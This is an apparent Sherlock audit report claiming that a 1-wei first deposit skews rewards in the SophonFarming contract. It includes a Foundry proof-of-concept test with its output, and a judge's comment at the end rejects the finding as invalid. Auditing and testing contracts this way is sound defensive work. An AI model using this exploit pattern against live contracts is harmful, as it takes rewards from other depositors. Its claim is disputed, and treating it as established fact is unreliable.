d17vv - Reward Distribution Skewed by Initial Deposit of 1 wei

[sherlock-admin3]

d17vv

medium

Reward Distribution Skewed by Initial Deposit of 1 wei

Summary

The current reward distribution mechanism in the SophonFarming contract can be exploited by a user who makes an initial minimal deposit and receives the full reward for that block. Subsequent larger deposits in the next block will receive fewer rewards relative to their deposit size, which can lead to an unfair distribution of rewards.

Vulnerability Detail

In the SophonFarming contract, rewards are distributed based on the proportion of a user’s deposit to the total deposits in the pool. If a user, say Alice, is the first to deposit a minimal amount (e.g., 1 wei) in a new block, she will receive the entire reward for that block. If another user, Bob, deposits a significant amount (e.g., 10 ETH) in the next block, Bob's rewards will be proportional to the total pool size including Alice's minimal deposit. This creates a situation where Alice, with a minimal deposit, receives a disproportionately large reward compared to her contribution. Her pendingPoints will even be slightly more than Bob's (demonstrated below).

The average block time on Ethereum is 12 seconds, so it is extremely likely that if Alice monitors the pool she may be the first one to deposit in the initial block and actually get the whole reward.

Impact

Medium. This issue can cause a loss of funds for subsequent depositors like Bob, who will receive fewer rewards than expected. The loss is constrained by the need for Alice to continually monitor and deposit in the pool. While the core functionality of the contract remains intact, the fairness and expected distribution of rewards are compromised, leading to potential loss of confidence and participation in the pool.

Code Snippet

https://github.com/sherlock-audit/2024-05-sophon/blob/main/farming-contracts/contracts/farm/SophonFarming.sol#L574-L624

Paste this function in SophonFarming.t.sol:

function testRewardDistributionSkewed() public {
        uint256 poolId = sophonFarming.typeToId(SophonFarmingState.PredefinedPool.wstETH);
        uint256 initialDeposit = 1;
        uint256 largeDeposit = 10e18;

        // Alice makes 1 wei initial deposit
        vm.startPrank(account1);
        deal(address(wstETH), account1, initialDeposit);
        wstETH.approve(address(sophonFarming), initialDeposit);
        sophonFarming.deposit(poolId, initialDeposit, 0);
        vm.stopPrank();

        // Forward time by one block
        vm.roll(block.number + 1);

        // Bob makes a large deposit of 10 ETH
        vm.startPrank(account2);
        deal(address(wstETH), account2, largeDeposit);
        wstETH.approve(address(sophonFarming), largeDeposit);
        sophonFarming.deposit(poolId, largeDeposit, 0);
        vm.stopPrank();

        // Forward time by more blocks to accumulate more rewards
        vm.roll(block.number + 1);

        // Verify rewards
        uint256 alicePending = sophonFarming.pendingPoints(poolId, account1);
        uint256 bobPending = sophonFarming.pendingPoints(poolId, account2);

        console.log("Alice's pending points: ", alicePending);
        console.log("Bob's pending points:", bobPending);

        // Assert that Alice has received a disproportionate share of the rewards
        assert(alicePending > 0);
        assert(alicePending > bobPending);
    }

// Output from the above function:
Ran 1 test for test/SophonFarming.t.sol:SophonFarmingTest
[PASS] testRewardDistributionSkewed() (gas: 609839)
Logs:
  Alice's pending points:  8333333333333333334
  Bob's pending points: 8333333333333333332

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.66ms (943.00µs CPU time)

Tool used

Manual Review

Recommendation

Make a large initial deposit to set a fair baseline for the pool.
Implement a minimum deposit requirement to qualify for rewards.

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

0xmystery commented:

invalid because userAmount isn't updated when user.rewardSettled is assigned. userAmount is updated by the time user.rewardDebt is assigned though